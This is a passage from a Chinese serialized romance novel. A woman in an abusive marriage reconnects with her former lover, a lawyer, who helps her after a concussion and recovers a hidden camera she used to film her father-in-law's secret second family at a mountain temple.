他翻身下床,从烟盒里拿了一支烟,抿在唇间,点燃。 温昭宁从床上爬起来,身上衣物完好,可她却觉得刚刚发生的一切比她被脱光了送进这个房间更狼狈。 “滚吧。”贺淮钦凛声道。 滚就滚。 温昭宁快速下床,只是她还没站稳,一阵眩晕袭来。 她被下药时撞到的后脑勺,一直在隐隐作痛,刚刚床上那一番强有力的拉扯,更是耗光了她所有的精气。 眼前猛地一黑。 温昭宁晕倒了,倒地之前,她看到贺淮钦扔下烟头,极快地朝她冲过来…… -- 漆黑的夜色被蜿蜒的雨帘切割得支离破碎,库里南如同划破黑暗的利剑,在湿滑空旷的道路上急速狂奔。 贺淮钦紧握着方向盘,指关节因用力而泛白。 他的余光,一次又一次瞥向副驾驶座上的温昭宁。 温昭宁昏迷着,纤瘦的身子深陷在宽大的真皮座椅里,脑袋无力地偏向车窗一侧,在仪表盘的微光下,她的脸色苍白如纸。 “温昭宁!”贺淮钦唤了声。 没有回应。 “温昭宁!醒醒!” 依旧沉默。 贺淮钦喉结滚动,心无端收紧。 他用车载电话,拨通了邵一屿的号码。 “贺大律师,昨天不是刚见过吗?又想我了?”邵一屿玩世不恭的声音响起。 “我送个人去医院,你接应一下。” “什么情况?”邵一屿听到是救人,语气正经了几分。 “不知道具体情况,忽然晕倒了。” “好,你从急诊那边进。” 十五分钟后,贺淮钦把人交给了邵一屿。 好在,检查结果无碍,只是头部撞击后的轻微脑震荡。 温昭宁被转去了普通病房。 她躺在雪白的病床上,双眸紧闭,脸上依旧没什么血色。 “什么时候能醒?”贺淮钦问。 “说不准,没准一会儿就醒了,没准明天才醒。”邵一屿说着,打量贺淮钦一眼。 贺淮钦向来熨帖得一丝不苟的高定衬衫,此刻皱痕明显,扣子还扣错了一颗,衬衫领口松垮地敞开着,他脖子里的那个吻痕尤其惹眼。 邵一屿的唇角缓缓勾起一个玩味的弧度,他走到贺淮钦的身边,用手里的病历夹碰了碰贺淮钦的肩膀:“行啊淮钦,我说怎么火急火燎地叫我救人,原来是你把人折腾进医院的?玩这么刺激?” 贺淮钦闻言,转头看向邵一屿,眼神里充满了“你最好闭嘴”的警告。 邵一屿却像是什么都没看到,反而笑得更欠:“瞧瞧你这衣衫不整的样子,战况够激烈的啊,不过你好歹也稍微怜香惜玉些,你看看她脖子里那一圈红,你床品……” “邵一屿!嘴巴不会用可以缝起来。”贺淮钦声音不高,却压迫感十足。 “好好好,我错了。”邵一屿举双手做了一个投降的动作,嘴却仍然没有闲着,“我还以为你早就忘了她呢,没想到你这才刚回国,你们就又旧情复燃了,诶,等等,她好像结婚了吧,你这是为爱当三?” “……” “哥们,你可别糊涂啊!破坏别人家庭是要遭人唾弃的,听我一句劝,就凭你现在这条件这身价,要什么女人没有,咱一定得守住底线,做什么也不能做男小三啊!” “你闭嘴行不行?” 贺淮钦揉了揉发胀的太阳穴,转头看向病床上的温昭宁,她睡着的时候,卸了所有防备,眉宇间很温和,一点不具备攻击性,那句恶毒的“睡腻了”,根本不像是会从她的嘴里说出来的。 可当年她就是说了,甚至今天又当着他的面说了一遍。 贺淮钦怎么也忘不了,六年前她是如何残忍地把他的自尊狠狠碾碎,他恨她玩弄他的感情,恨她伤害他的家人,他怎么可能和她旧情复燃? “我和她早已没有任何可能。”贺淮钦的声音带着寒意,“六年前,我就当她已经死了。” 第一卷 第8章 没有他的联系方式 “六年前,我就当她已经死了。” 温昭宁从噩梦中惊醒,胸口逼仄,急需坐起来舒缓呼吸。 “温小姐,你醒了。”耳边传来一道陌生的声音。 温昭宁转头,看到窗边站着一个男人,男人很年轻,穿着干练的西装,见她醒来,男人快步走到她的身边。 “需要我给你叫医生吗?” “你是?” “哦,不好意思,忘了自我介绍了,我叫陈益,是贺律的助理,贺律律所有些紧急的事务要处理,他让我在这里,等你醒来身体状况允许后送你回去。” 温昭宁耳边又响起那句“六年前,我就当她已经死了”。 昨晚,她有片刻短暂地恢复了意识,正好听到贺淮钦的这句话。 沉冷的,压抑的,再次把她卷进无边无际的黑暗。 她为此,做了一夜的噩梦。 “谢谢陈助理,我自己回去就行了。”温昭宁扶着床头柜下床,她今天好多了,头虽然还沉沉的,但已经不晕了。 “这怎么行呢,贺律特地安排我在这里,如果没有把你安全送回去,贺律一定会怪我的。” 温昭宁觉得这位陈助理可能是误会她和贺淮钦的关系了,她对贺淮钦并没有那么重要,贺淮钦还不至于为了她去责怪自己的下属。 “我真的没事了,就不麻烦陈助理了,你去忙吧。” 陈益见她如此坚决,正犹豫该怎么办,恰好贺淮钦打电话来了。 是公事。 之前有份文件是陈益收纳的,现在贺淮钦急用,问他放哪儿了,陈益告知了文件放置的柜子,顺嘴问:“贺律,温小姐醒了,她说不用我送,我……” “随她。” 贺淮钦说完,直接挂了电话。 温昭宁在旁听到了贺淮钦略显不耐烦的回答,他这态度摆明了是不愿再为她这个人多浪费一秒钟。 也是,在他心里,她六年前就死了。 胸口漫起无边无际的酸涩感,温昭宁只恨自己不争气,贺淮钦早已从过去中走了出来,怎么偏她还被困在当年,因他一句话就这样难受。 不,她不能这样。 温昭宁穿上外套,进洗手间洗了把脸,出来时对陈益说:“陈助理,能加你个微信吗?” “我的微信?” “对。” “好的。” 陈益扫了温昭宁的微信二维码,两人加上了微信。 “今天谢谢陈助理了,等下我把住院治疗的钱转给你,麻烦你转给贺律。” “温小姐为什么不直接转给贺律?” “我没有他的联系方式。” 陈益有点摸不着头脑。 老板昨晚在医院守了一夜,今天早上走的时候黑眼圈都出来了,他还以为这个女人是老板的女朋友呢,结果,他们连个联系方式都没有? 温昭宁下楼的时候,去医院大厅的自助机上拉了住院费用的明细,然后拍照给陈益转了过去。 陈益:“温小姐,多了两百。” 温昭宁:“这是昨晚送我去医院的车费。” 陈益不知道昨晚是老板亲自开车送这位温小姐去医院的,他收到转账后,立刻把钱都转给了贺淮钦,并备注这是温小姐给的住院费和车费。 贺淮钦忙了一下午,开完会看到手机上的转账和备注,脸都绿了。 好一个车费。 温昭宁这是把他当司机了吗。 -- 温昭宁回到家,苏云溪已经把青柠送去幼儿园了。 “宁宁,你回来啦,我正要去医院看你呢。”苏云溪手里提着煲好的汤,温昭宁再晚回来三分钟,两人可能就要错过了。 “你怎么知道我住院了?” “昨天晚上你一直没回来,我就给你打电话,是贺淮钦接的,贺淮钦说,你轻微脑震荡昏迷了,在医院。” “贺淮钦接的?” “是啊,我还奇怪呢,半夜三更的贺淮钦怎么会在你身边?”苏云溪朝温昭宁挤挤眼,“他不会陪了你一整夜吧?” 这个…… 肯定不会! 他都当她死了,怎么会守她整夜? “溪溪,先不说贺淮钦了,我现在遇到的最大的麻烦是陆恒宇。” 温昭宁把陆恒宇买通离婚律师给自己下药的事情告诉了苏云溪。 苏云溪义愤填膺:“陆恒宇脑子里装的都是什么垃圾,这么阴损的招数都想得出来!” “我本以为抓到了陆恒宇家暴的把柄,我就能占据离婚官司的上风,可现在想想,我的确没有实证,如果陆恒宇买通陆家的佣人反告我诬陷,那我处境将变得很被动,我必须在陆恒宇想出更肮脏的招数之前抓到真正可以拿捏他的把柄才行。” “你说陆恒宇常年不回家,他外面会不会有别的女人?”苏云溪觉得男人都是烂黄瓜,从这方面入手,或许会有突破口,“你要不要也找找他的出轨证据?” “他外面没有女人。”温昭宁说。 “你这么确定陆恒宇没有在外劈腿养小三?” “我确定。” 苏云溪反应了两秒,忽然像是吃到了什么惊天大瓜,捂着唇小声地问:“陆恒宇他该不会那方面不太行吧?” 温昭宁点点头。 陆恒宇那方面是不太行,而且陆恒宇极好面子,所以,温昭宁确定他绝对不会去外面丢人现眼,给别的女人笑话他的机会。 “结婚六年,老公不太好用,宁宁,你真惨。” 惨吗? 温昭宁倒不觉得自己有多惨,毕竟,在结婚之前,她已经用过最好的了。 和和淮钦分手时那句“睡腻了”,绝对是她最违心的谎言了。 那样的脸,那样的身材,那样的力量,那样唯她是从的服务意识,怎么会腻? “等等,我忽然想到一个问题,既然陆恒宇那啥不行,那青柠她难道是……贺淮钦的孩子?” 事到如今,温昭宁并不打算再瞒苏云溪,她郑重地握住苏云溪的手:“溪溪,这件事,请一定要为我保密。” “我就说!陆恒宇那张鞋拔子脸怎么生的出青柠这么好看的女儿!”苏云溪得知青柠和陆恒宇没有瓜葛特别激动,“那陆恒宇知道吗?” “他知道青柠不是他亲生的,但他并不知道青柠的亲生父亲是谁。” 陆恒宇那方面功能有问题,六年前温昭宁和他结婚的那晚,陆恒宇几次想要洞房,但都失败了,他气急败坏砸了新房里的所有家电,温昭宁看着他发疯失态,既觉得恶心又觉得害怕,当场就吐了。 隔天,温昭宁还是一直吐,她感觉不对劲,一测,才知道自己已经怀孕。 她原本想偷偷打掉孩子,但这件事情被陆恒宇发现了,陆恒宇威胁温昭宁必须生下孩子,因为他需要一个后代,来堵住悠悠众口,他也需要温昭宁的一个秘密,来要挟温昭宁替他保守不举的秘密。 “这个死渣男,打女人拳头这么硬,那玩意儿却硬不起来,他的基因硬错地方了吧!真是该硬的不硬,不该硬的瞎硬!”苏云溪吐槽完,反握住了温昭宁的手,“宁宁你放心,我绝对不会说出去的。” “谢谢溪溪。” “我们之间说什么谢!只是那陆恒宇家暴没有实证,女人方面又没问题,还能抓什么把柄去拿捏他?” 温昭宁想了想:“要拿捏陆恒宇,也不一定要从陆恒宇身上找把柄。如果能直接抓到大王的命门,那小王也就没什么攻击力了。” “你是说陆恒宇那个市长爹?” “嗯,陆恒宇没有女人问题,他父亲可就说不定了。溪溪,我明天出门一趟,麻烦你帮我再照看青柠一天。” “没问题,你尽管去,青柠又香又软又乖,有她陪着我我简直不要太开心!” -- 第二天一早,温昭宁坐车去了五峰山。 五峰山有座香火鼎盛的千年古刹,那是陆恒宇的父亲陆乾勇备受赞誉的“清廉名片”,陆乾勇每个月必来,捐香火钱、访高僧,为民生祈福,他佛前跪拜的照片甚至曾登上过沪城报纸。 为官的人,地位越高,需要维护的表面形象就得越完美。 温昭宁起初只觉得公公陆乾勇是作秀,直到有天在陆家后花园听到陆乾勇的司机打电话。 “明天爸的忌日我回不去,你替我多烧点纸……我也想回来啊,可你又不是不知道,他每个月这天都要去庙里看那小祖宗……” 小祖宗。 温昭宁当时就觉察出不对劲,只是那时候陆恒宇还没有对她动手,她只想带着青柠安生过日子,也就装作什么都没有听到。 可现在不一样了。 陆恒宇对她家暴,又想使阴招败坏她的名声,逼她净身出户,那她也绝对不能再坐以待毙。 她不求离婚时能分到陆家那些来历不明的财产,但当初结婚时温家补贴的嫁妆她必须全都拿回来。 温氏集团倒闭后,温昭宁的父亲自杀身亡,留下了许多债务压在她母亲和妹妹身上,温昭宁算过,只要拿回这些钱,就能填上温家债务窟窿,救母亲和妹妹于水火。 她现在只想快些了结过去的一切,带着母亲、妹妹还有女儿去过全新的生活。 按照陆乾勇之前的习惯,每个月的十九号是陆乾勇的“礼佛日”,温昭宁到达古刹后,就找了一处不起眼的地方,远远看着大门口。 果然,九点左右,陆乾勇的红旗停在古刹门口,陆乾勇下车,在方丈的陪同下,走进庙里。 温昭宁压低了渔夫帽的帽檐,悄悄跟上。 陆乾勇在走完“礼佛祈福”的流程后,屏退随行人员,一个人去了后山。 古刹后山,有一处不对外开放的幽静禅院,陆乾勇走到小院门口,先敲了三下院门,几秒后,又敲三下。 院里,一个穿着灰色僧袍但并未剃度的年轻女人来开门,两人都非常谨慎,院门一开一关,动作极快。 隔着门缝,温昭宁隐隐看到院中有个孩童在玩风车,接着,门被关上了。 今天温昭宁是有备而来,她的冲锋衣领口别着拍摄设备,只可惜,禅院院门开合的时间太短,那女人和孩子又躲在院里没出来,没拍到太多可以威胁陆乾勇的实质内容。 不过,至少确定了陆乾勇在寺庙中有另一个“家”,这绝对是可以撬动陆乾勇的一张王牌。 温昭宁正打算取下领口的小摄像头先把视频上传备份,忽然听到远处有人大喊一声:“谁在那里?” 是陆乾勇司机的声音。 温昭宁吓了一大跳,起身拔腿就跑。 “你是谁!站住!你给我站住!” 司机追了上来。 温昭宁按着自己的帽子,不敢回头,只是拼命往前狂奔。 山林的风带着泥土和植物汁液的气息,刮过温昭宁的脸颊,她的心脏在胸腔里疯狂擂动,仿佛下一刻就要跳出来了。 司机穷追不舍,铁了心要抓住她似的。 温昭宁慌不择路,踏进了荆棘丛,她的小腿被带刺的荆棘划开一道口子,瞬间沁出温热的血珠,每一步都牵扯出钻心的痛。 完了,如果被陆乾勇的司机抓住发现她在偷拍陆乾勇的行踪,那一切都将前功尽弃。 温昭宁思索了几秒后,快速做出决策,将拍摄的设备悄悄扔进了道路一侧的杂草丛中,然后往另一侧跑去。 没有拍摄设备,就算被抓住,她还能狡辩一下。 司机没发现温昭宁的小动作,跟着她往另一侧追来。 温昭宁拖着受伤的腿又跑出几百米,渐渐体力不支,就在这时,她看到一辆黑色的车从道路尽头驶过来。 这辆车她认得,是贺淮钦的库里南。 温昭宁顾不上许多,赶紧挥手拦车。 库里南驶到她的身侧,驾驶座的车窗降下,开车的是贺淮钦的助理陈益。 “温小姐,这么巧,你也来庙里烧香?” “陈助理,说来话长,你先让我搭个车好不好?” 陈益把车停下来了,温昭宁心脏快炸开了,她快速拉开后座的车门,跌跌撞撞着扑进车里,一不小心也扑进了某人的怀中。 一股清洌的、带着古寺梵音的烟香味瞬间将她包围,冲散了她周身沾染的尘土气息以及那一丝若有似无的血腥气。 贺淮钦的身体僵了僵,但他很快反应过来,伸手一把将她推开。 “我让你上车了?” 第一卷 第9章 我不是她老公 贺淮钦微微往后靠,挑眉看着她。 他的嫌弃之意很明显。 温昭宁脸一热,窘迫感冲淡了劫后余生的庆幸,眼看陆乾勇的司机快要往这边追来了,她只能厚着脸皮暂时忽略了贺淮钦,拍拍驾驶座的座椅,对陈益说:“陈助理,快开车!快!” 她的语气很着急,陈益也不知道发生了什么事,下意识就听了她的话,一脚油门踩下去,车子顿时箭一样射出去。 贺淮钦猝不及防被惯性摇了一下,他扶着车门坐稳,不悦道:“陈益,你到底是谁的助理?” 陈益干笑两声:“不好意思贺律,我看温小姐挺着急的,她一个女孩子,万一被坏人追到,后果不堪设想,我们总不能袖手旁观吧。” “坏人?”贺淮钦打量温昭宁一眼,她穿着黑色的冲锋衣,黑色的长裤,戴着帽子和口罩,全副武装,“我看她更像来做坏事的。” 温昭宁没理会贺淮钦的冷嘲热讽,回头确认已经甩掉了陆乾勇的司机,才算松一口气。 她摘了口罩,眉眼一弯,梨涡浅浅,笑着对贺淮钦和陈益说:“谢谢贺律和陈助理愿意捎我一段。” 伸手不打笑脸人,不管贺淮钦愿不愿意,人都在车上了,还能怎么办。 “不白白捎你,记得付车费。”贺淮钦说。 “应该的,付多少贺律定。” “五百。” “五百?你怎么不去抢劫!”温昭宁脱口而出。 “抢劫要被判刑,我不会知法犯法。” “那出租车乱收费也是要受到行政处罚的。” “温大小姐,我这是出租车吗?” 温昭宁语塞,也是,人家那可是劳斯莱斯。 “况且,从这里回市区两百多公里,五百也不贵。”贺淮钦说着,打开微信二维码递到温昭宁的面前,“加微信,转账给我。” “我有陈助理的微信,我和之前一样转给他就行。” “我的车,转给我!” 贺淮钦态度强硬,有种不转给他就赶人下车的架势。 温昭宁没办法,只能加上他的微信。 两个头像在同一个对话框里亮起时,温昭宁有种恍如隔世的感觉,当年分手时,他们删光了彼此所有的联系方式,那时的他们,都下定了决心老死不相往来,那时的他们,做梦都没有想过六年后还会重新拥有彼此的联系方式。 “转钱。” 贺淮钦冷冰冰的声音打断了温昭宁的思绪。 钱钱钱,身价过亿的人还这么小气,真是让人无语。 温昭宁点开微信的转账功能,把车费给贺淮钦转了过去。 贺淮钦听到声音,点开看到她的转账金额,眉头立刻皱起来。 “二百五?你什么意思?” “我不回市区,半路把我放下就行了,所以,五百减半,就是这个金额。” 温昭宁的小摄像机还扔在山林里,她得回去找。 今天打草惊蛇之后,陆乾勇肯定会把那对母子从寺庙中转移走,这两人同框的视频,以后怕是再难拍到,所以,她一定要把摄像机找回来,虽然今天拍得不清楚,但至少拍到了一些,保不齐这段视频他日有重用。 贺淮钦把车费退还给了她,温昭宁看他一眼:“怎么不收啊贺律,是不喜欢这个数字吗?” 陈益在驾驶座上偷偷地笑。 贺淮钦气不打一处来:“好笑吗?” 陈益:“不好笑。” 库里南开到山脚下的时候,一间亮着“社区诊所”灯牌的小门面闯入视线。 “陈助理,麻烦停一下车。”温昭宁说,“就在这里把我放下吧。” 她腿上的伤口火辣辣的疼,她得去处理一下。 陈益放慢了车速:“温小姐,你真的要在这里下车吗?这里距离市区还有很远。” “我真的要在这里下车,我还有事。” 陈益见她很坚决,便没再说什么,靠边停了车。 “今天麻烦你们了,谢谢,再见。” 温昭宁和他们告别,推门下了车,一瘸一拐朝那间小小的诊所走去,她的小腿被划伤的地方,每走一步,都像被撕裂了一次。 车内,陈益看着温昭宁艰难挪动的纤细背影,犹豫了一下,忍不住出声提醒:“贺律,温小姐的腿好像受伤了。” 贺淮钦的目光落在手机邮件上,头也不抬:“多事,开车。” 陈益只得应声,重新启动引擎。 然而,就在车子缓缓驶出几米后,后座再次传来贺淮钦的声音。 “靠边!” 陈益靠边停车,从后视镜里看向贺淮钦,贺淮钦有些烦躁地松了松领带。 “这里能打到车吗?”贺淮钦问。 “这里是去古刹的必经之路,出租车还挺多的,打车倒是不用担心,温小姐肯定能打到车回去。” “你下车,打车回去。” 陈益一愣,他打车回去? 敢情,老板不是担心温小姐打不到车,是要把他赶下车! -- 小诊所里弥漫着消毒水和药材的气味。 这会儿没有其他病人,一个头发花白的老医生正在看报纸,见到温昭宁进来,问她:“哪里不舒服?” “你好,我的腿被荆棘划伤了。” “过来,卷起裤腿。” 温昭宁卷起裤腿,自己都被那血淋淋的伤口骇了一骇。 “哎哟,姑娘,你这划得不浅啊,得好好清创,不然容易发炎。”老医生拿了消过毒的镊子,手法熟练地为温昭宁清理伤口。 镊子触碰到伤口边缘时,温昭宁攥紧了拳头,疼得轻轻抽气。 老医生清理完毕,直起腰,在一张处方笺上“唰唰”写下药方,头也不抬地说:“让你老公去隔壁药房先把这些药拿了,我给你上点药再包扎。” 老公? 温昭宁不知道老医生为什么这么说,直到身后传来一道清冷的声音:“我不是她老公。” 她回头,看到贺淮钦不知什么时候已经悄无声息地站在了她的身后。 诊所明亮的灯光在他轮廓分明的脸上投下淡淡的阴影,让他的表情显得更加难以捉摸。 他不是走了吗?又回来干什么? “不好意思,我还以为你们已经结婚了。”老医生把药方递给温昭宁,又改口,“让你男朋友去拿药,你这腿暂时先别用力。” “他也不是……” 温昭宁想澄清贺淮钦也不是她男朋友,只是她话还没说完,手里的药方已经被贺淮钦抽走了。 贺淮钦甚至没有看她,只是扫了一眼处方上的字迹,便朝着隔壁药房的方向走去。 温昭宁看着那个挺拔的背影消失在门口,心里某种难以名状的情绪紧紧缠绕住她。 这个男人的行为,她怎么有点看不懂了? 老医生看贺淮钦走到门口,悄声对温昭宁说:“你这男朋友俊是挺俊,但气质过于冰冷了。” 温昭宁原本想解释清楚,但瞧见老医生那一本正经吐槽的样子,笑了笑:“您别介意,他一直就这死样子。” -- 温昭宁的腿包扎好后,她和贺淮钦一起走出了诊所。 “你怎么回来了?”温昭宁问。 “陈益不放心你。” “陈助理不放心我,为什么是你回来?” “你腿受伤了,少说点话。” 温昭宁:“……” 这什么逻辑?医生有这么交代吗? 库里南就停在诊所门口,贺淮钦打开了副驾驶座的车门,朝温昭宁示意:“上车。” “你先走吧,我有东西掉了,还得回去找。” 他的目光下移,落在她缠了纱布的腿上:“就你这腿?” “腿没事,已经没那么痛了。” 贺淮钦有点不耐烦,说了句麻烦,就伸手把她推进了车里,锁上了车门。 “你干嘛?”温昭宁着急地拍打着车窗,“我真的得回去,那东西很重要,我必须找回来。” 贺淮钦像是没听到,坐进车里,发动了车子。 “贺淮钦!让我下车!” 温昭宁用力地去抠车门锁,但怎么都打不开,她正要发火,却发现贺淮钦将车调了个头,又返回朝古刹那个方向去了。 他要送她去?他有这么好心? 温昭宁再次觉得,今天的贺淮钦好像怪怪的。 “其实我可以自己打车回去。” “别废话。”贺淮钦声音冷淡,“这山这么大,万一你出什么事,我就是最后见过你的人,嫌疑很难洗清。” 温昭宁:“……” 这人可真毒舌,就不能念她点好? 车子重新驶入山林间的小路,与来时的心惊肉跳不同,回程的车厢里弥漫着一种奇异的静谧,引擎低鸣,窗外是流动的树影,世界仿佛只剩下了他们两个人。 温昭宁的神经稍稍放松,腿上的疼痛也变得和缓了许多,她靠在副驾驶座上,目光不由自主地落在了贺淮钦把着方向盘的手上。 这双手,指节修长分明,此刻沉稳有力地操控着这辆价值不菲的豪车,带着一种习以为常的从容。 谁又能想到,六年前,这双手的主人连驾照都考不起。 那时候贺淮钦刚毕业,为了实习方便,他买了一辆自行车,自行车原本没有后座,他为了她特地装了一个。 温大小姐坐过的豪车无数,还真没坐过自行车,她每次都小心翼翼地侧坐上去,双手将他抱得很紧很紧,紧到能清晰地感受到他年轻的身体和紧绷的肌肉。 贺淮钦总喜欢逗她,下坡时故意摇晃,惹得她又笑又骂又咬他,他被咬了也不喊痛,但晚上总记仇用另一种方式咬回来…… “到了。” 冰冷的两个字,像把锋利的剪刀,瞬间剪断了回忆的画卷。 温昭宁回神。 贺淮钦已经停车熄火,他解开了安全带,动作利落地先下了车。 温昭宁下车查看了一下,贺淮钦方向感很准,这的确是她之前拦车的位置。 “你要找什么?”贺淮钦问。 “一个小摄像头。” 贺淮钦再次打量她的装束,敢情今天打扮成这样是来当侦探的。 “你要是不想走泥路,可以在车里等我。”温昭宁说。 贺淮钦如今满身矜贵,脚上那双鞋若是弄脏了,光是清理费,恐怕都得五位数。 他没回应,只是问:“东西丢哪了还记得吗?” “记得,杂草丛里。” 贺淮钦冷哼:“真会选地方。” 温昭宁一回头,傻眼了,这条路上怎么这么多杂草丛? 天快暗了。 温昭宁忍着腿上的痛,凭着记忆踉跄着寻找,贺淮钦跟在她身后,捡了根树枝,拨拨弄弄。 山林四下无人,两人脚下的枯枝不时发出脆响,更显得四周寂静可怕。 忽然,温昭宁脚边的一簇灌木丛猛地一阵剧烈晃动,她还没反应过来,就听“嗖”的一声,一道细长的、毛茸茸的黄褐色影子极快地蹿了出来,擦着温昭宁的裤腿掠过。 “啊!” 温昭宁吓得魂飞魄散,她发出一声短促的惊叫,身体本能地往旁边一缩,死死地抓住了贺淮钦的衣袖。 “那是什么东西啊?”她的声音在颤抖。 “黄鼠狼。” 温昭宁后怕不止。 贺淮钦低头,视线扫过她紧紧攥着他衣袖的手上,眼神深邃难辨。 那只黄鼠狼早已消失在草丛间,无影无踪。 山林重新恢复寂静。 温昭宁在贺淮钦沉默的注视下迅速回过神来,她像被烫到似的,快速松开了他的衣袖,往后退了一小步,将两人的距离拉开。 “对不起,”她尴尬无比,只想找个地缝钻进去,“我刚才……只是被吓到了。” 贺淮钦慢条斯理地拂了拂被她抓皱的衣袖。 “看来这么多年,温大小姐只长年纪,没长胆子。”他的毒舌稳定发挥:“饼上掉下一颗芝麻,都比你的胆子大。” 温昭宁想反驳,却一句话都说不出来。 她只想快点远离这黄鼠狼出没的地方,可一迈腿,伤口处一股热流涌出来,噬心般的痛感再次袭来。 糟糕,一定是刚才被黄鼠狼吓到的时候她躲避的动作太剧烈了,伤口裂开了。 “我的腿……”温昭宁痛苦地蹲下去。 “怎么了?” “伤口好像裂开了。” 贺淮钦拎起她的裤腿,鲜红的血已经地泅透了纱布。 “好痛!” 温昭宁话音刚落,下一秒,整个人骤然腾空,贺淮钦直接将她打横抱了起来。 第一卷 第10章 另一种形式的男朋友 “你……” 温昭宁下意识挣扎。 “别动!”贺淮钦低喝,声线紧绷,带着威胁:“腿不要了你就下去。” 温昭宁瞥到那被血染红的纱布,一阵眩晕,动是不敢动了,只是,这样的姿势,让她无所适从。 贺淮钦的手臂铁箍一样,她被迫贴在他坚实的胸膛上,能清晰感受到他沉稳有力的心跳。 当年,温昭宁最喜欢做的一件事就是在激烈的欢爱后趴在他的胸口听他的心跳声,一下一下,狂热的、失控的,那是这朵高岭之花被她撷下的最真实的证据。 每当这个时候,贺淮钦总会问她:“你到底是喜欢我,还是喜欢睡我?” “当然是喜欢睡你啊。”温昭宁逗他。 贺淮钦并不知道,她一直信奉“性爱统一观”,只有在爱的前提下,才能放松地去享受身体的亲密。 他大概真的相信了她只是喜欢睡他,所以最后分开时她一句“睡腻了”,就彻底击溃了两人的关系。 诊所快打烊了。 老医生正在整理药箱,见贺淮钦把温昭宁抱进来,他的眉头立刻紧皱起来。 “又怎么了?” “伤口裂开了。”贺淮钦说。 “快把人放到椅子上。” “好。” 贺淮钦把温昭宁放到椅子上,老医生看到温昭宁血红的纱布和鞋底沾到的枯叶泥土,瞪了贺淮钦一眼:“你这小伙子怎么当人男朋友的?明知道她的腿受伤了,还带她去山林里晃悠,怕她伤口愈合得太快是不是?” 温昭宁赶紧说:“医生,不关他的事,是我自己一定要去。” “你还护着他呢。你们这些年轻人,真是不知道轻重!”老医生一边重新处理温昭宁的伤口,一边不停地长辈式碎碎念,“你疼在自己身上不知道吗?这要是感染了,以后留疤,有你哭的。” “我的错。”贺淮钦开口。 这三个字,其实没有任何情绪,更像是一种为了终止对话而采取的妥协,但听在温昭宁的耳中,却让她心头莫名一颤。 她下意识抬眼看向贺淮钦,贺淮钦已经挪开了视线。 老医生见贺淮钦认错,语气总算缓和了些:“知道错就好,你在这里好好陪着,隔壁药房已经关门了,我去开门拿药,重新给她清理伤口包扎。” “好,谢谢。” 老医生从抽屉里拿了钥匙出门去,办公室里只剩下了他们两个人。 贺淮钦退到墙边,倚靠着窗台,望向外面。 “咳咳。”温昭宁清清喉咙,问出自己的好奇,“你刚才为什么不否认你是我男朋友这件事?” “我不是吗?”贺淮钦反问。 温昭宁一愣:“曾经是,但现在不是了。” “怎么不是?”他黑眸深邃,目光紧锁着她,“奸夫难道不是另一种形式的男朋友?” 温昭宁:“……” -- 温昭宁的腿伤口开裂不能长时间行走,加上天已经黑了,再回去山林里找摄像机也不可能了。 她只能先跟着贺淮钦回到了市里。 一路上,她都在惦着她的摄像机,闷闷不乐,贺淮钦自顾自开车,完全无视她的情绪。 温昭宁明白,不管出于什么原因,贺大律师今天陪她折腾大半天,已经够道义的了,他其实根本不需要这样做。 两人同住一个小区,电梯分开的时候,温昭宁向贺淮钦道了谢。 “今天麻烦贺律师了,谢谢。” “有什么可谢的,东西又没找到。” 他面无表情地丢下这句话,关了电梯门继续上行。 回到家,苏云溪得知温昭宁的摄像机掉了,很仗义地说要帮她去找。 说实话,这事也的确只有交给苏云溪,温昭宁才最放心。 “溪溪,你一定要注意安全。” “怕什么,我有保镖。” 第二天,苏云溪一早就出发了。 温昭宁腿受伤了,哪儿都去不了,只能带孩子在家玩积木。 两人搭积木搭到一半,青柠忽然说:“妈妈,我饿了。” “你想吃什么?番茄鸡蛋盖饭、小馄饨还是肉酱面?”这几个选项都是冰箱里现有的食材。 “我想吃番茄鸡蛋饭饭。” “好,那你等一下,妈妈现在就给你做。” “谢谢妈妈,亲亲妈妈。” 温昭宁摸了一下女儿的小脑袋,瘸着腿进厨房,刚戴上围裙,门铃响了。 “妈妈,有人敲门!”青柠软糯糯地喊。 “妈妈听到啦。” 温昭宁从厨房出来,走到玄关处,透过猫眼往外瞧去,门外站着的人竟然是西装笔挺的陈益。 她打开门:“陈助理,你怎么来了?” 陈益先看到戴着围裙的温昭宁,继而又看到温昭宁身后的小女孩,约莫四五岁的样子,扎两个可爱的小揪揪,正眨巴着亮晶晶的眼睛打量着他。 温小姐竟然已经结婚有孩子了? 这个认知像一道惊雷,在陈益脑中炸开,他好像忽然懂了老板这段时间为什么总是阴晴不定,以及那么多奇奇怪怪的反常决策。 原来,老板喜欢上了有夫之妇! 大名鼎鼎的贺淮钦,那样骄傲、运筹帷幄的男人,爱上了有夫之妇! 天呐,这是什么惊天大瓜! 难怪,陈益总感觉老板对这位温小姐的态度很微妙,那种若有似无的在意,那种因为在意而透出来的若有似无的自我厌弃,他原来是在为自己要不要为爱当三做着思想挣扎! 懂了,都懂了! 陈益忽然好心疼老板,他的老板事业上呼风唤雨,感情里竟然拿到了这样背德的苦情剧本,实在太惨了! “陈助理?”温昭宁感觉陈益脸上的表情精彩得都可以出一本书了,“你有事吗?” “哦,差点忘了正事!”陈益收敛了所有外露的情绪,将一个塑封袋递过来,“温小姐,这是贺律让我带给你的。” 塑封袋是透明的,温昭宁一眼就看到了她的摄像机,被妥帖地收纳在袋子里。 贺淮钦竟然帮她把摄像机找回来了! “这是……” “这是贺律昨晚派人去找来的。”陈益凑到温昭宁面前,轻声说:“去的都是贺律自己的人,绝对信得过,里面的影像资料也没有被动过,温小姐可以放心。” 温昭宁失而复得,难掩激动:“谢谢,谢谢陈助理!” “温小姐不必对我说谢,要谢,就好好谢谢贺律。” “一定!” -- 温昭宁送走陈益后,第一时间给苏云溪打了电话。 “什么?被贺淮钦捡走了?”苏云溪在电话那头嗷嗷直叫,“难怪老娘都快把山翻过来了,也什么都没有找到!” “辛苦了我亲爱的溪溪!快回来吧,回来请你吃大餐。” “好。” 温昭宁挂了电话,点开了贺淮钦的微信。 之前在车上匆匆加上贺淮钦的微信后,她并没有仔细观察过他的头像,这会儿放大一看,心瞬间漏跳了一拍。 那是一片几乎墨黑的夜空,绿丝绒般流动的极光绚烂、盛大,极光之下,有一个背对着镜头的黑色剪影,他立在那里,立在天地之间,身形显得无比孤独。 极光。 他去看极光了。 回忆如同潮水,带着苦涩的甜,再次不受控地涌来。 “如果有一天,你变得很有钱,你最想做的一件事情是什么?” “带你去看极光。” “为什么?” “因为你的出现,是我生命中最绚烂的光。” …… 温昭宁不想多想,六年了,过去的很多回忆也许贺淮钦早忘了,只是巧合而已吧。 她将他的头像复又缩小,快速在对话框里打下一句话:“贺律,东西收到,谢谢你。” 